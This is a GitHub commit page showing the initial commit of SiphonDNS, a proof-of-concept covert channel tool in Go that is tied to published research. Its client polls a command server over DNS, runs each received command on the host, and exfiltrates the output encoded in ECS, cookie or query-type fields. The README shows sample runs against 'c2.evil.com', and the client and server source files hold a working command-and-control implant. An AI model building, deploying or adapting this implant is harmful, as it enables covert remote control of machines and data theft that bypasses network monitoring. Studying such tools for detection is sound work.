Skip to content

Commit 0bcb98b

Browse files
committed
Initial commit
0 parents  commit 0bcb98b

File tree

740 files changed

+287387
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

740 files changed

+287387
-0
lines changed

.github/workflows/release.yml

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
name: goreleaser
2+
3+
on:
4+
push:
5+
tags:
6+
- '*'
7+
8+
permissions:
9+
contents: write
10+
11+
jobs:
12+
goreleaser:
13+
runs-on: ubuntu-latest
14+
steps:
15+
-
16+
name: Checkout
17+
uses: actions/checkout@v3
18+
with:
19+
fetch-depth: 0
20+
-
21+
name: Set up Go
22+
uses: actions/setup-go@v4
23+
with:
24+
go-version: '1.23.5'
25+
-
26+
name: Run GoReleaser
27+
uses: goreleaser/goreleaser-action@v4
28+
with:
29+
distribution: goreleaser
30+
version: latest
31+
args: release --clean
32+
env:
33+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
.vscode/
2+
dist/

.goreleaser.yaml

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
project_name: siphondns
2+
3+
builds:
4+
- main: ./cmd/server
5+
id: "server"
6+
binary: server
7+
env: [CGO_ENABLED=0]
8+
flags:
9+
- -trimpath
10+
- -mod=vendor
11+
goos:
12+
- linux
13+
- darwin
14+
- windows
15+
goarch:
16+
- 386
17+
- amd64
18+
- arm64
19+
goarm:
20+
- 6
21+
- 7
22+
23+
- main: ./cmd/client
24+
id: "client"
25+
binary: client
26+
env: [CGO_ENABLED=0]
27+
flags:
28+
- -trimpath
29+
- -mod=vendor
30+
goos:
31+
- linux
32+
- darwin
33+
- windows
34+
goarch:
35+
- 386
36+
- amd64
37+
- arm64
38+
goarm:
39+
- 6
40+
- 7
41+
42+
archives:
43+
-
44+
id: "server"
45+
builds: ['server']
46+
name_template: "{{ .ProjectName }}-{{ .Binary }}_{{ .Os }}_{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}{{ if .Mips }}_{{ .Mips }}{{ end }}"
47+
format: binary
48+
49+
-
50+
id: "client"
51+
builds: ['client']
52+
name_template: "{{ .ProjectName }}-{{ .Binary }}_{{ .Os }}_{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}{{ if .Mips }}_{{ .Mips }}{{ end }}"
53+
format: binary
54+
55+
release:
56+
github:
57+
disable: false
58+
59+
checksum:
60+
name_template: "{{ .ProjectName }}_checksums.txt"
61+
algorithm: sha256

README.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# SiphonDNS
2+
3+
A PoC for techniques described in [this research](http://ttp.report/evasion/tools/2025/02/03/siphondns-covert-dns-exfiltration.html).
4+
5+
Implements data exfiltration via non-standard sections of DNS.
6+
7+
Server:
8+
```
9+
$ ./siphondns-server -method ecs
10+
Starting DNS server
11+
cmd> id
12+
Command received
13+
Receiving data............................................................................
14+
15+
Response:
16+
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),118(wireshark),121(bluetooth),134(scanner),141(kaboxer)
17+
```
18+
19+
Client:
20+
```
21+
./siphondns-client -domain 'c2.evil.com' -method ecs -resolver 8.8.8.8:53
22+
Polling....OK
23+
Executing command: id ... OK
24+
Sending: 13.3.7.0 ... OK
25+
Sending: 101.74.120.0 ... OK
26+
Sending: 99.121.122.0 ... OK
27+
Sending: 70.79.66.0 ... OK
28+
Sending: 68.69.77.0 ... OK
29+
Sending: 104.101.71.0 ... OK
30+
Sending: 101.85.49.0 ... OK
31+
Sending: 68.97.107.0 ... OK
32+
Sending: 111.115.52.0 ... OK
33+
Sending: 71.120.89.0 ... OK
34+
35+
...[SNIP]...
36+
37+
Sending: 104.74.119.0 ... OK
38+
Sending: 65.65.47.0 ... OK
39+
Sending: 47.57.56.0 ... OK
40+
Sending: 57.107.71.0 ... OK
41+
Sending: 1.84.0.0 ... OK
42+
Sending: 7.3.13.0 ... OK
43+
Done in 108 requests.
44+
```

cmd/client/main.go

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
package main
2+
3+
import (
4+
"errors"
5+
"flag"
6+
"fmt"
7+
"os/exec"
8+
"strings"
9+
"time"
10+
11+
"github.com/kek/pek/internal/protocol"
12+
)
13+
14+
func executeCmd(command string) ([]byte, error) {
15+
args := strings.Fields(command)
16+
cmd := exec.Command(args[0], args[1:]...)
17+
18+
if errors.Is(cmd.Err, exec.ErrDot) {
19+
cmd.Err = nil
20+
}
21+
22+
result, err := cmd.Output()
23+
if err != nil {
24+
return []byte(err.Error()), nil
25+
}
26+
27+
return result, nil
28+
}
29+
30+
func main() {
31+
domain := flag.String("domain", "", "server domain")
32+
resolver := flag.String("resolver", "8.8.8.8", "resolver to use")
33+
method := flag.String("method", "ecs", "channel type [ecs, cookie, qtype, dau]")
34+
interval := flag.Int("interval", 1000, "milliseconds between attempts to fetch a command from server")
35+
delay := flag.Int("delay", 200, "milliseconds between requests for data transfer")
36+
flag.Parse()
37+
38+
if *domain == "" {
39+
fmt.Printf("-domain is missing")
40+
return
41+
}
42+
43+
var proto protocol.ProtocolClient
44+
45+
switch *method {
46+
case "ecs":
47+
proto = protocol.NewEcsProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond)
48+
case "cookie":
49+
proto = protocol.NewCookieProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond)
50+
case "qtype":
51+
proto = protocol.NewQtypeProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond)
52+
case "dau":
53+
proto = protocol.NewDauProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond)
54+
default:
55+
fmt.Printf("-method can only be one of [ecs, cookie, qtype, dau]")
56+
return
57+
}
58+
59+
fmt.Printf("Polling")
60+
for {
61+
fmt.Printf(".")
62+
time.Sleep(time.Duration(*interval) * time.Millisecond)
63+
64+
cmd, err := proto.FetchCmd()
65+
if err != nil {
66+
continue
67+
}
68+
69+
if cmd != "" {
70+
fmt.Printf("OK\nExecuting command: %s ... ", cmd)
71+
cmdResult, err := executeCmd(cmd)
72+
if err != nil {
73+
continue
74+
}
75+
fmt.Printf("OK\n")
76+
77+
proto.Send(cmdResult)
78+
fmt.Printf("Polling")
79+
}
80+
}
81+
}

cmd/server/main.go

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
package main
2+
3+
import (
4+
"bufio"
5+
"flag"
6+
"fmt"
7+
"os"
8+
9+
"github.com/kek/pek/internal/protocol"
10+
)
11+
12+
func main() {
13+
method := flag.String("method", "ecs", "channel type [ecs, cookie, qtype, dau]")
14+
flag.Parse()
15+
16+
var proto protocol.ProtocolServer
17+
18+
switch *method {
19+
case "ecs":
20+
proto = protocol.NewEcsProtoServer()
21+
case "cookie":
22+
proto = protocol.NewCookieProtoServer()
23+
case "qtype":
24+
proto = protocol.NewQtypeProtoServer()
25+
case "dau":
26+
proto = protocol.NewDauProtoServer()
27+
default:
28+
fmt.Printf("-method can only be one of [ecs, cookie, qtype, dau]")
29+
return
30+
}
31+
32+
fmt.Println("Starting DNS server")
33+
34+
go func() {
35+
err := proto.Serve()
36+
if err != nil {
37+
panic(fmt.Sprintf("Failed to start server: %s\n", err.Error()))
38+
}
39+
}()
40+
41+
for {
42+
scanner := bufio.NewScanner(os.Stdin)
43+
fmt.Print("cmd> ")
44+
45+
if scanner.Scan() {
46+
input := scanner.Text()
47+
proto.SendCmd(input)
48+
}
49+
50+
response := proto.FetchData()
51+
fmt.Printf("Response:\n %s\n", string(response))
52+
}
53+
}

go.mod

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
module github.com/kek/pek
2+
3+
go 1.23.5
4+
5+
require github.com/miekg/dns v1.1.62
6+
7+
require (
8+
golang.org/x/mod v0.18.0 // indirect
9+
golang.org/x/net v0.27.0 // indirect
10+
golang.org/x/sync v0.7.0 // indirect
11+
golang.org/x/sys v0.22.0 // indirect
12+
golang.org/x/tools v0.22.0 // indirect
13+
)

go.sum

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
github.com/miekg/dns v1.1.62 h1:cN8OuEF1/x5Rq6Np+h1epln8OiyPWV+lROx9LxcGgIQ=
2+
github.com/miekg/dns v1.1.62/go.mod h1:mvDlcItzm+br7MToIKqkglaGhlFMHJ9DTNNWONWXbNQ=
3+
golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0=
4+
golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
5+
golang.org/x/net v0.27.0 h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys=
6+
golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE=
7+
golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M=
8+
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
9+
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
10+
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
11+
golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA=
12+
golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c=

internal/codec/codec.go

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
package codec
2+
3+
import (
4+
"encoding/hex"
5+
"fmt"
6+
)
7+
8+
type Codec[T any] interface {
9+
Compress(data []byte) ([]byte, error)
10+
Decompress(compressedData []byte) ([]byte, error)
11+
Encode(data []byte) []T
12+
Decode(data []T) ([]byte, error)
13+
EncodeCmd(data string) string
14+
DecodeCmd(data string) (string, error)
15+
GetEpilogue() T
16+
GetPrologue() T
17+
}
18+
19+
type HexCmdEncoder struct{}
20+
21+
func (*HexCmdEncoder) EncodeCmd(data string) string {
22+
return fmt.Sprintf("%s.", hex.EncodeToString([]byte(data)))
23+
}
24+
25+
func (*HexCmdEncoder) DecodeCmd(data string) (string, error) {
26+
decoded, err := hex.DecodeString(data[:len(data)-1])
27+
return string(decoded), err
28+
}

0 commit comments

Comments
 (0)